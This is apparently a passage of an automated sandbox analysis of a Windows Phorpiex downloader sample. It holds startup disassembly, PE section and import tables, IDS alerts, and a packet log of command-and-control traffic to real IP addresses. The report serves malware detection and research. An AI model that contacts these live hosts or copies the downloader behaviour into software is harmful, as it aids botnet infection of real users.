mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov eax, dword ptr [eax]
cmp dword ptr [eax], E06D7363h
jne 00007F36744F4C0Ch
cmp dword ptr [eax+10h], 03h
jne 00007F36744F4C06h
mov eax, dword ptr [eax+14h]
cmp eax, 19930520h
je 00007F36744F4BF7h
cmp eax, 19930521h
je 00007F36744F4BF0h
cmp eax, 19930522h
je 00007F36744F4BE9h
cmp eax, 01994000h
jne 00007F36744F4BE7h
call 00007F36744F4FACh
xor eax, eax
pop ebp
retn 0004h
push 0040170Bh
call dword ptr [00402048h]
xor eax, eax
ret
int3
jmp dword ptr [004020B8h]
push 00000014h
push 00402440h
call 00007F36744F4E43h
push dword ptr [00403384h]
mov esi, dword ptr [0040206Ch]
call esi
pop ecx
mov dword ptr [ebp-1Ch], eax
cmp eax, FFFFFFFFh
jne 00007F36744F4BEEh
push dword ptr [ebp+08h]
call dword ptr [00402068h]
pop ecx
jmp 00007F36744F4C49h
push 00000008h
call 00007F36744F4F6Dh
pop ecx
and dword ptr [ebp-04h], 00000000h
push dword ptr [00403384h]
call esi
mov dword ptr [ebp-1Ch], eax
push dword ptr [00403380h]
call esi
pop ecx
pop ecx
mov dword ptr [ebp-20h], eax
lea eax, dword ptr [ebp-20h]
push eax
lea eax, dword ptr [ebp-1Ch]
push eax
push dword ptr [ebp+08h]
mov esi, dword ptr [00402064h]
call esi

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729
[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[IMP] VS2005 build 50727
[C++] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x247c	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5000	0x19c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x23b0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x10c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc5a	0xe00	c033fa3be1360d8f21205d8514b59106	False	0.5775669642857143	data	5.628875405373284	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0xa7c	0xc00	70da5f280c9a4a4dbcb3a3a467843d58	False	0.4375	data	4.431376231305874	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x38c	0x200	202a0f14ba4a024e6a35d5895669b769	False	0.060546875	data	0.35275948821577235	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x2b0	0x400	554d0cedd69e96ee00c8324ce4da604c	False	0.3623046875	data	5.194459669718395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5000	0x20c	0x400	9d72d8e8c5d99e604065fd0bedfb410c	False	0.4111328125	data	3.3645885903769637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4058	0x256	ASCII text, with CRLF line terminators	English	United States	0.5100334448160535

Imports

DLL	Import
SHLWAPI.dll	PathFileExistsW
MSVCR90.dll	__set_app_type, ?terminate@@YAXXZ, _unlock, __dllonexit, _encode_pointer, _onexit, _decode_pointer, _except_handler4_common, _invoke_watson, _controlfp_s, _crt_debugger_hook, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _configthreadlocale, _initterm_e, _initterm, _acmdln, exit, _ismbblead, _XcptFilter, _exit, _cexit, __getmainargs, _amsg_exit, srand, rand, memset, _lock
WININET.dll	InternetOpenW, InternetOpenUrlW, InternetOpenUrlA, InternetOpenA, InternetCloseHandle, InternetReadFile
urlmon.dll	URLDownloadToFileW
KERNEL32.dll	GetCurrentThreadId, QueryPerformanceCounter, InterlockedExchange, GetTickCount, WriteFile, DeleteFileW, CreateProcessW, Sleep, ExpandEnvironmentStringsW, CreateFileW, CloseHandle, GetCurrentProcessId, GetSystemTimeAsFileTime, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, IsDebuggerPresent, GetStartupInfoA, SetUnhandledExceptionFilter, InterlockedCompareExchange
USER32.dll	wsprintfW
SHELL32.dll	ShellExecuteW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T18:18:28.772817+0100	2856563	ETPRO MALWARE Phorpiex Domain in DNS Lookup	1	192.168.2.10	55531	1.1.1.1	53	UDP
2024-11-28T18:18:30.566440+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49702	185.215.113.66	80	TCP
2024-11-28T18:18:33.724115+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49702	185.215.113.66	80	TCP
2024-11-28T18:18:33.724115+0100	2853292	ETPRO MALWARE Win32/Phorpiex Twizt Variant CnC Checkin	1	192.168.2.10	49702	185.215.113.66	80	TCP
2024-11-28T18:18:41.727174+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49703	185.215.113.66	80	TCP
2024-11-28T18:18:41.727174+0100	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.10	49703	185.215.113.66	80	TCP
2024-11-28T18:18:43.482513+0100	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.10	55293	90.156.160.6	40500	UDP
2024-11-28T18:18:44.488388+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49706	185.215.113.66	80	TCP
2024-11-28T18:18:44.488388+0100	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.10	49706	185.215.113.66	80	TCP
2024-11-28T18:18:48.533043+0100	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.10	55293	80.191.218.209	40500	UDP
2024-11-28T18:18:48.794430+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49711	91.202.233.141	80	TCP
2024-11-28T18:18:51.034709+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49712	185.215.113.66	80	TCP
2024-11-28T18:18:51.034709+0100	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.10	49712	185.215.113.66	80	TCP
2024-11-28T18:18:53.558980+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49713	185.215.113.66	80	TCP
2024-11-28T18:18:53.558980+0100	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.10	49713	185.215.113.66	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 18:18:29.095056057 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:29.216053009 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:29.216289043 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:29.216578007 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:29.336524010 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.566354036 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.566440105 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.566548109 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.566591024 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.568135977 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.568157911 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.568171978 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.568186998 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.568223000 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.568223000 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.569247961 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.569271088 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.569281101 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.569303989 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.569331884 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.570137978 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.570183039 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.570241928 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.570281029 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.687505960 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.687551022 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.687659979 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.687704086 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.691699982 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.691818953 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.702912092 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.702923059 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.703008890 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.760257959 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.760318995 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.760325909 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.760361910 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.764497995 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.764558077 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.764610052 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.764648914 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.773648977 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.773720026 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.773727894 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.773873091 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.781354904 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.781409025 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.781430006 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.781469107 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.789829969 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.789916992 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.789932013 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.789973021 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.798209906 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.798305988 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.798311949 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.798361063 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.806602001 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.806679964 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.806817055 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.806863070 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.814917088 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.815025091 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.815063953 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.815135002 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.823307991 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.823419094 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.823477030 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.823523998 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.831007004 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.831074953 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.831178904 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.831221104 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.838737011 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.838789940 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.938165903 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.938220024 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.938275099 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.938317060 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.941997051 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.942073107 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.952393055 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.952405930 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.952482939 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.954704046 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.954766035 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.954777002 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.954817057 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.959346056 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.959410906 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.959422112 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.959454060 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.963835001 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.963912964 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.963922024 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.963963985 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.968460083 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.968518019 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.968529940 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.968570948 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.973146915 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.973201036 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.973237038 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.973278999 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.977859974 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.977909088 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.977940083 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.977977991 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.982398033 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.982440948 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.982490063 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.982528925 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.987091064 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.987162113 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.987190962 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.987234116 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.991736889 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.991801977 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.991894960 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.991935015 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.996454954 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.996512890 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:30.996561050 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:30.996601105 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:31.001029015 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:31.001082897 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:31.001173019 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:31.001219034 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:31.005687952 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:31.005733967 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:31.005785942 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:31.005824089 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:31.010337114 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:31.010397911 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:31.010448933 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:31.010490894 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:31.014952898 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:31.015002966 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:31.015054941 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:31.015091896 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:31.019623995 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:31.019699097 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:31.019736052 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:31.019785881 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:31.024234056 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:31.024293900 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:33.160669088 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:33.280755997 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:33.723968029 CET	80	49702	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:33.724114895 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:34.067478895 CET	49702	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:40.148210049 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:40.271528959 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:40.271619081 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:40.271831989 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:40.393220901 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.727097034 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.727135897 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.727174044 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:41.727205038 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:41.729139090 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:41.729176044 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:41.730559111 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.730573893 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.730588913 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.730639935 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:41.730684042 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:41.731241941 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.731255054 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.731268883 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.731292963 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:41.731307030 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:41.731611013 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:41.731926918 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.731964111 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.731972933 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:41.732004881 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:41.850075006 CET	80	49703	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:41.850142956 CET	49703	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:42.983342886 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:43.110472918 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:43.110611916 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:43.111243010 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:43.231192112 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:43.479971886 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:43.602015972 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:43.602137089 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:43.603981972 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:43.724108934 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:43.724273920 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:43.844238997 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:44.488215923 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:44.488320112 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:44.488388062 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:44.488388062 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:44.489069939 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:44.489093065 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:44.489104033 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:44.489128113 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:44.489190102 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:44.489758968 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:44.489820957 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:44.489831924 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:44.489856005 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:44.489926100 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:44.490613937 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:44.490719080 CET	80	49706	185.215.113.66	192.168.2.10
Nov 28, 2024 18:18:44.490750074 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:44.490778923 CET	49706	80	192.168.2.10	185.215.113.66
Nov 28, 2024 18:18:45.689966917 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:45.742775917 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:45.935275078 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:45.977127075 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:46.073962927 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:46.194897890 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:46.194986105 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:46.319936991 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:46.918927908 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:46.961509943 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:47.121893883 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:47.165039062 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:47.169020891 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:47.289783955 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:47.289840937 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:47.301914930 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:47.305294991 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:47.410151005 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:47.421857119 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:47.421993971 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:47.424236059 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:47.425565958 CET	40500	49708	178.22.172.2	192.168.2.10
Nov 28, 2024 18:18:47.425626040 CET	49708	40500	192.168.2.10	178.22.172.2
Nov 28, 2024 18:18:47.544152975 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.794306993 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.794363976 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.794377089 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.794430017 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:48.794452906 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.794460058 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:48.794464111 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.794504881 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.794518948 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.794523954 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:48.794529915 CET	80	49711	91.202.233.141	192.168.2.10
Nov 28, 2024 18:18:48.794550896 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:48.794595957 CET	49711	80	192.168.2.10	91.202.233.141
Nov 28, 2024 18:18:48.794764996 CET	80	49711	91.202.233.141	192.168.2.10
